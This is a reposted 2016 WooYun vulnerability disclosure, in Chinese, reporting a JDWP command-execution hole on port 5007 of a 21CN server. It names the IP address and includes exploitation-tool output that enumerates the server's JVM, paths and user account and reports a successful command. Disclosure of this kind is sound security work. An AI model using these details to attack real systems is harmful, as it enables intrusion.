21CN某站点存在命令执行漏洞或可反弹shell

admin
admin
admin
140550
文章
117
评论
2017年4月30日07:42:59评论326 views字数 212阅读0分42秒阅读模式
摘要

2016-03-08： 细节已通知厂商并且等待厂商处理中
2016-03-08： 厂商已经确认，细节仅向厂商公开
2016-03-18： 细节向核心白帽子及相关领域专家公开
2016-03-28： 细节向普通白帽子公开
2016-04-07： 细节向实习白帽子公开
2016-04-22： 细节向公众公开

漏洞概要 关注数(4) 关注此漏洞

缺陷编号： WooYun-2016-182284

漏洞标题： 21CN某站点存在命令执行漏洞或可反弹shell

相关厂商： 世纪龙信息网络有限责任公司

漏洞作者： 路人甲

提交时间： 2016-03-08 17:04

公开时间： 2016-04-22 17:22

漏洞类型： 命令执行

危害等级： 高

自评Rank： 15

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

1人收藏

漏洞详情

披露状态：

2016-03-08： 细节已通知厂商并且等待厂商处理中
2016-03-08： 厂商已经确认，细节仅向厂商公开
2016-03-18： 细节向核心白帽子及相关领域专家公开
2016-03-28： 细节向普通白帽子公开
2016-04-07： 细节向实习白帽子公开
2016-04-22： 细节向公众公开

简要描述：

rt

详细说明：

http://photo.21cn.com/iptv/high/wh.html

21CN某站点存在命令执行漏洞或可反弹shell

ip：59.36.102.186

21CN某站点存在命令执行漏洞或可反弹shell

5007端口存在jdwp命令执行漏洞

21CN某站点存在命令执行漏洞或可反弹shell

21CN某站点存在命令执行漏洞或可反弹shell

21CN某站点存在命令执行漏洞或可反弹shell

漏洞证明：

code 区域 
[+] Targeting '59.36.102.186:5007'
 [+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.7.0_45'
 [+] Found Runtime class: id=1099
 [+] Found Runtime.getRuntime(): id=7f9edc0bd398
 [+] Created break event id=2
 [+] Waiting for an event on 'java.net.ServerSocket.accept'
 [+] Received matching event from thread 0x1987
 [+] Found Java Virtual Machine specification vendor 'Oracle Corporation'
 [+] Found Java Runtime Environment specification name 'Java Platform API Specification'
 [+] Found Path of extension directory or directories '/opt/jdk1.7.0_45/jre/lib/ext:/usr/java/packages/lib/ext'
 [+] Found Java Runtime Environment specification vendor 'Oracle Corporation'
 [+] Found Java Virtual Machine specification version '1.7'
 [+] Found Operating system name 'Linux'
 [+] Found Default temp file path '/tmp'
 [+] Found User's current working directory '/opt/resin-sns-res-4.0.36'
 [+] Found Java installation directory '/opt/jdk1.7.0_45/jre'
 [+] Found User's account name 'resin_sns_res'
 [+] Found Java Virtual Machine implementation vendor 'Oracle Corporation'
 [+] Found Java Runtime Environment vendor 'Oracle Corporation'
 [+] Found Path separator ':'
 [+] Found Java vendor URL 'http://java.oracle.com/'
 [+] Found Java class path '/opt/resin_sns_res/lib/resin.jar:/opt/jdk/lib:/opt/jdk/jre/lib:/opt/jdk1.7.0_45/lib/tools.jar:/opt/resin_sns_res/lib/activation.jar:/opt/resin_sns_res/lib/webservices-extra-api.jar:/opt/resin_sns_res/lib/validation-api-1.0.0.GA.jar:/opt/resin_sns_res/lib/javamail-141.jar:/opt/resin_sns_res/lib/javaee-16.jar:/opt/resin_sns_res/lib/javax.faces-2.1.15.jar:/opt/resin_sns_res/lib/resin-eclipselink.jar:/opt/resin_sns_res/lib/webutil.jar:/opt/resin_sns_res/lib/eclipselink-2.4.0.jar:/opt/resin_sns_res/lib/jboss-logging-3.1.0.CR2.jar:/opt/resin_sns_res/lib/hibernate-validator-4.3.0.Final.jar'
 [+] Found Java Runtime Environment specification version '1.7'
 [+] Found Operating system version '2.6.32-71.el6.x86_64'
 [+] Found Operating system architecture 'amd64'
 [+] Found Java Runtime Environment version '1.7.0_45'
 [+] Found Java Virtual Machine implementation version '24.45-b08'
 [+] Found Java Virtual Machine specification name 'Java Virtual Machine Specification'
 [+] Found File separator '/'
 [-] java.compiler: Unexpected returned type: expecting String
 [+] Found Java class format version number '51.0'
 [+] Found List of paths to search when loading libraries '/opt/resin_sns_res/libexec64:/opt/resin_sns_res/libexec64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib'
 [+] Found Java Virtual Machine implementation name 'Java HotSpot(TM) 64-Bit Server VM'
 [+] Found User's home directory '/home/resin_sns_res'
 [!] Command successfully executed

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-03-08 17:22

厂商回复：

灰常感谢您对我们业务安全的关注，根据您的报告，问题已着手处理,谢谢。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin